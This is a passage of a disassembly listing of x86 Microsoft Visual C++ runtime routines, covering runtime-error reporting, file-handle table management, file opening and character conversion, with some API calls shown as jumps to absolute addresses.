		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26206F1h
		push	eax
		nop
		call	near ptr 26F0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2610C9Bh


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2610C9Bh


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 261081Fh
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2680867h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 27009BAh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26608E3h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2680867h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 260007Fh
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 260007Fh
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 2801098h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2810000h
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		call	near ptr 2810000h
		nop
		test	eax, eax
		jnz	loc_423F02
